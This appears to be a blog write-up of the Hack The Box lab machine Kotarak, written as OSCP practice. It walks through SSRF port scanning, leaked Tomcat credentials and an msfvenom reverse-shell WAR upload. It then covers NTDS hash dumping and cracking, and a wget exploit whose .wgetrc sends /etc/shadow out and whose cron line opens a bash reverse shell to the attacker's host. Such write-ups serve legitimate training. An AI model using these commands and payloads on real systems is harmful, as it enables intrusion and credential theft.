Hack The Box: Kotarak Write-up (#21)

Joshua Surendran
14 min readSep 15, 2020

--

This is my 21st box out of 42 boxes for OSCP preparation. I am doing my best learning and mastering the key skills for my upcoming OSCP exams by writing this series of blogs. Most of the write-up I get help from watching Ippsec’s YouTube videos and reading Rana Khalil’s write-ups. Please feel free to check them out. So let’s begin.

Reconnaissance

Run the nmapAutomator script to enumerate open ports and services running on those ports.

./nmapAutomater 10.10.10.55 All
  • All: Runs all the scans consecutively (~20–30 minutes)

We get the back the following result:

Running all scans on 10.10.10.55

Host is likely running Linux
---------------------Starting Nmap Quick Scan---------------------

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-14 07:17 +08
Nmap scan report for 10.10.10.55
Host is up (0.011s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
8009/tcp open ajp13
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds---------------------Starting Nmap Basic Scan---------------------

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-14 07:17 +08
Nmap scan report for 10.10.10.55
Host is up (0.0069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.59 seconds
----------------------Starting Nmap UDP Scan----------------------

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-14 07:17 +08
Warning: 10.10.10.55 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.55
Host is up (0.0084s latency).
All 1000 scanned ports on 10.10.10.55 are open|filtered (980) or closed (20)
Nmap done: 1 IP address (1 host up) scanned in 14.44 seconds---------------------Starting Nmap Full Scan----------------------

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-14 07:17 +08
Initiating Parallel DNS resolution of 1 host. at 07:17
Completed Parallel DNS resolution of 1 host. at 07:17, 0.02s elapsed
Initiating SYN Stealth Scan at 07:17
Scanning 10.10.10.55 [65535 ports]
Discovered open port 22/tcp on 10.10.10.55
Discovered open port 8080/tcp on 10.10.10.55
Warning: 10.10.10.55 giving up on port because retransmission cap hit (1).
SYN Stealth Scan Timing: About 23.52% done; ETC: 07:20 (0:01:41 remaining)
SYN Stealth Scan Timing: About 46.41% done; ETC: 07:20 (0:01:10 remaining)
SYN Stealth Scan Timing: About 69.29% done; ETC: 07:20 (0:00:40 remaining)
Discovered open port 60000/tcp on 10.10.10.55
Discovered open port 8009/tcp on 10.10.10.55
Completed SYN Stealth Scan at 07:20, 131.40s elapsed (65535 total ports)
Nmap scan report for 10.10.10.55
Host is up (0.0076s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
8009/tcp open ajp13
8080/tcp open http-proxy
34996/tcp filtered unknown
49264/tcp filtered unknown
60000/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 131.50 seconds
Raw packets sent: 65699 (2.891MB) | Rcvd: 65533 (2.621MB)
Making a script scan on extra ports: 60000

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-14 07:20 +08
Nmap scan report for 10.10.10.55
Host is up (0.0094s latency).
PORT STATE SERVICE VERSION
60000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Kotarak Web Hosting
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.67 seconds
---------------------Running Recon Commands----------------------Starting gobuster scan

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.55:8080
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/09/14 07:31:52 Starting gobuster
===============================================================
http://10.10.10.55:8080/docs (Status: 302) [Size: 0]
http://10.10.10.55:8080/examples (Status: 302) [Size: 0]
http://10.10.10.55:8080/favicon.ico (Status: 200) [Size: 21630]
http://10.10.10.55:8080/host-manager (Status: 302) [Size: 0]
http://10.10.10.55:8080/manager (Status: 302) [Size: 0]
===============================================================
2020/09/14 07:32:04 Finished
===============================================================
Finished gobuster scan

=========================

Starting nikto scan

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.55
+ Target Hostname: 10.10.10.55
+ Target Port: 8080
+ Start Time: 2020-09-14 07:32:04 (GMT8)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-39272: /favicon.ico file identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.
+ /manager/html: Default Tomcat Manager / Host Manager interface found
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found
+ /manager/status: Default Tomcat Server Status interface found
+ 8168 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2020-09-14 07:33:36 (GMT8) (92 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Finished nikto scan

=========================

Starting gobuster scan

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.55:60000
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/09/14 07:33:36 Starting gobuster
===============================================================
http://10.10.10.55:60000/.htaccess (Status: 403) [Size: 298]
http://10.10.10.55:60000/.htaccess.html (Status: 403) [Size: 303]
http://10.10.10.55:60000/.htaccess.php (Status: 403) [Size: 302]
http://10.10.10.55:60000/.hta (Status: 403) [Size: 293]
http://10.10.10.55:60000/.hta.html (Status: 403) [Size: 298]
http://10.10.10.55:60000/.hta.php (Status: 403) [Size: 297]
http://10.10.10.55:60000/.htpasswd (Status: 403) [Size: 298]
http://10.10.10.55:60000/.htpasswd.html (Status: 403) [Size: 303]
http://10.10.10.55:60000/.htpasswd.php (Status: 403) [Size: 302]
http://10.10.10.55:60000/index.php (Status: 200) [Size: 1169]
http://10.10.10.55:60000/index.php (Status: 200) [Size: 1169]
http://10.10.10.55:60000/info.php (Status: 200) [Size: 92262]
http://10.10.10.55:60000/info.php (Status: 200) [Size: 92262]
http://10.10.10.55:60000/server-status (Status: 403) [Size: 302]
http://10.10.10.55:60000/url.php (Status: 200) [Size: 2]
===============================================================
2020/09/14 07:33:46 Finished
===============================================================
Finished gobuster scan

=========================

Starting nikto scan

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.55
+ Target Hostname: 10.10.10.55
+ Target Port: 60000
+ Start Time: 2020-09-14 07:33:46 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 7865 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2020-09-14 07:35:42 (GMT8) (116 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Finished nikto scan

=========================
---------------------Finished all Nmap scans---------------------

We have four ports open.

  • Port 22: — Running OpenSSH 7.2p2
  • Port 8009: — Running Apache Jserv
  • Port 8080: — Running Apache Tomcat 8.5.5
  • Port 60000: — Running Apache httpd 2.4.18

Before we begin enumeration, let’s make quick mental notes.

  1. OpenSSH 7.2p2 has no known common that gives us an initial foothold on this box. So we’ll not be going to spend time to enumerate this service.
  2. Port 8009, Apache Jserv acts as proxy inbound requests from a web server through to an application server that sits behind the web server. I tried to access this port from browser it gives nothing. Port 8080 default page is not accessible but /host-manager and /manager able to access but need tomcat credentials. So we need to find these credentials. If we successfully authenticated, we can abuse war file upload functionality in tomcat manager directory to gain an initial foothold in this box.
  3. Port 60000, we need to enumerate based on the gobuster scan results. Only 3 paths seem to be interesting: /info.php, /index.php and /url.php. The web pages were written in PHP. So take note of this. We might need to dig down to see if there is any LFI, RFI, SSRF and SQLi vulnerabilities exist.

Service Enumeration

Port 8080 (HTTP, Apache Tomcat 8.5.5)

Visit the manager site.

I tried common and default tomcat credentials but not works. Cancel the Authentication prompt, you will see the tomcat default credentials (which is not works for our case) and the location where you can find those configured credentials.

Port 60000 (HTTP, Apache httpd 2.4.18)

Visit the page.

All the links on the left pane are static and linked to the index page. Let’s check the page source for any interesting info.

It performs GET request and passing the path parameter to the url.php script. Let’s test for the RFI by simply setting a python web server in our Kali Linux, then calling a test file using path parameter.

python3 -m http.server 80

I have created a test.txt file. Let’s call this file from the browser.

It works! So we have RFI indication. Let’s try to see if we can execute PHP code.

Create a test.php file with the following code.

<?php phpinfo(); ?>

Then call it from the browser.

The page displays nothing. Something validating our PHP code and prevent it from executing. Next, let’s try out Server Site Request Forgery (SSRF).

SSRF is a type of attack where an attacker abuses a vulnerable functionality of an application by sending crafted requests from the backend server. This can lead to sensitive information disclosure vulnerabilities where you get access to resources that are not otherwise accessible from the external network.

There are many ways to test for SSRF vulnerabilities, of which several of them are listed in this article. The first thing I usually try is the file URL scheme (file://) to view the /etc/passwd file.

We get a “try harder” message. This leads me to believe that there is some kind of filtering in the “file” string. But at least we know the target is vulnerable to SSRF and we are on the right track. I tried a couple of the other URI schemes mentioned in the article but nothing worked. Take note of the vulnerable path parameter. So let’s try and see if we can enumerate services running on the loopback interface (127.0.0.1).

Great! this proves that we are able to call services running locally. Let’s find out what other ports we able to access. Intercept this request Burp, right-click and send it to Intruder. In Intruder tab, click Clear and highlight the port number and then click Add.

Next, go to Payloads sub tab choose Payload Type to Numbers. Then in the Payload Options pane, select the type Sequential from the range 1 to 65535. This will loop through all the possible ports.

Then click Start Attack. We know that response with length 168 give us the a blank page indicating the port is not open.

So we’re looking for results that give length more than 168. Click on the Length column to sort it out the result in descending order.

All the above results give us length greater than 168. Let’s check them from the browser. After checked a few of them, port 888 gives something interesting output.

It displays files and directories from a simple file server. Let’s look into the backup.

It displays nothing. Intercept the same request in Burp and send it to Repeater. Then try again by including the path parameter that is vulnerable to SSRF.

We get back a page that leaks tomcat credentials: admin/3@g01PdhB!. Let’s use this credentials to test login into tomcat /manager page that we found earlier.

We are in! It is time to generate payload and upload and get a shell in the box.

Exploitation

Generate MSFvenom reverse shell payload in war file format.

msfvenom -p java/jsp_shell_reverse_tcp -f war lhost=10.10.14.31 lport=53 -o shell.war

Upload this file in Tomcat Web Application Manager and deploy it.

Set up a Netcat listener on Kali Linux.

nc -nlvp 53

Click on the war file in the Tomcat Web Application Manager to execute our payload.

We get a shell!. Let’s upgrade it to a fully interactive shell.

python -c 'import pty;pty.spawn("/bin/bash")'

Then press CTRL+Z this will background the session and run the following command in your terminal.

stty raw -echo;fg

Press Enter on your keyboard twice.

Once that is done, run the following command to give the shell the ability to clear the screen.

export TERM=xterm

Unfortunately, we’re running as tomcat user and we don’t have permission to view the content of user.txt flag. Let’s view the content of the tomcat’s home directory.

We have ntds.dit file and SYSTEM registry hive files. The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. We can use these files to extract Active Directory password hashes. First, let’s confirm the file type.

tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ file *
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit: data
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above

Next, transfer these files to our Kali Linux. Set up a python web server on the target machine.

python -m SimpleHTTPServer 5555

Then download these 2 files on the Kali Linux.

wget http://10.10.10.55:5555/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
wget http://10.10.10.55:5555/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

Use Impacket’s secretdump script to extract passwords.

impacket-secretsdump -system 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin -ntds 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit LOCAL

This gives us a dump of all the hashes and we are interested in only two of them.

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
...
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Extract the LM portion of both accounts hashes and crack them using CrackStation.

e64fe0f24ba2489c05e64354d74ebd11
2b576acbe6bcfda7294d6bd18041b8fe

It cracked both hashes and we have the passwords.

Let’s try switch user to atanas with su command using “Password123!”. It doesn’t work. Next, let’s try the administrator’s password.

It works and we’re. Grab the user.txt flag.

Now we need to escalate our privilege to root.

Privilege Escalation

Download and run the LinEnum.sh script in the target. We get back the following result.

We have read and write permission on app.log and flag.txt files under the root directory. Let’s view the content of the flag.txt.

atanas@kotarak-dmz:/root$ cat flag.txt 
Getting closer! But what you are looking for can't be found here.

View the content of app.log.

atanas@kotarak-dmz:/root$ cat app.log 
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

It seems like the IP address 10.0.3.133 is making a GET request to port 80 (default port if it is not specified) for every 2 minutes. It used wget version 1.16 which is vulnerable to arbitrary file upload. Since the log of this cronjob is saved in the root directory, we can assume the cron job is running with root privileges. If so, we’ll use this vulnerability to escalate our privilege to root.

First, let’s confirm that the cron job does run running every 2 minutes.

atanas@kotarak-dmz:/root$ nc -nlvp 80
nc: Permission denied

We get a permission issue. Because low range ports which are less than 1024 required root privileges and we do not have that privilege yet. So let see if authbind is installed on this box.

atanas@kotarak-dmz:/root$ which authbind
/usr/bin/authbind
atanas@kotarak-dmz:/root$ which authbind
/usr/bin/authbind
atanas@kotarak-dmz:/root$ ls -l /usr/bin/authbind
-rwx------ 1 atanas atanas 10464 Jul 26 2015 /usr/bin/authbind

It is installed and we have permission to execute it. What this tool does is, it allows a program which does not have root privileges to bind to low range ports.

Rerun the Netcat command using authbind.

atanas@kotarak-dmz:/root$ authbind nc -nlvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 47320)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-Alive

We get a request from 10.0.3.133 confirming that it is a cron job that is running every two minutes.

View the exploit code and follow the instructions on ExploitDB. There are a few things we need to do.

  1. Prepare .wgetrc file in our Kali Linux,
cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_

2. Set up an FTP server in the directory that .wgetrc file resides in.

python -m pyftpdlib -p21 -w

3. Copy the exploit and save it in the file wget-exploit.py. Modify the IP address and ROOT_CRON to send reverse shell back to our Kali Linux.

HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.14.31'
FTP_PORT = 21
ROOT_CRON = "* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.14.31/53 0>&1' \n"

Then transfer the exploit to target machine and run it.

authbind python wget-exploit.py

Set up a netcat listener on our Kali Linux and wait a couple of minutes for the exploit to completely run.

We get a shell! If you run the ifconfig command, you’ll see that we’ve pivoted to the 10.0.3.133 box and now we are running with root privileges.

Grab the root.txt flag.

Attack Strategy Map

I have summarized the entire attack strategy on this map.

Thank you for reading :-) Next box is Falafel.

--

--

Joshua Surendran

I am a security enthusiast. Learning new things every day for a joy. I love ethical hacking. I am deeply loved by God.